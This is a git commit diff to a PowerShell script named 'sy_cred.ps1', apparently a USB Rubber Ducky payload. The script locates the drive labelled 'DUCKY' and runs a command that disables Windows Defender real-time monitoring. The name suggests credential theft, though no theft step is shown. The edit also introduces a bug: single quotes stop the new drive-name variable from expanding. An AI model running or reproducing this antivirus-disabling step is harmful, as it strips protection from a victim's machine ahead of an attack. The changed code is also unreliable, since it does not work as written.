Update sy_cred.ps1
parent
5f7db5486a
commit
fcc1caf610
|
@ -1,5 +1,6 @@
|
|||
# Set destination directory
|
||||
$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq 'DUCKY' }).DeviceID
|
||||
$DUCKY_DRIVE_NAME = "DUCKY"
|
||||
$duckletter = (Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.VolumeName -eq '$DUCKY_DRIVE_NAME' }).DeviceID
|
||||
Set-Location $duckletter
|
||||
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true
|
||||
|
|
Loading…
Reference in New Issue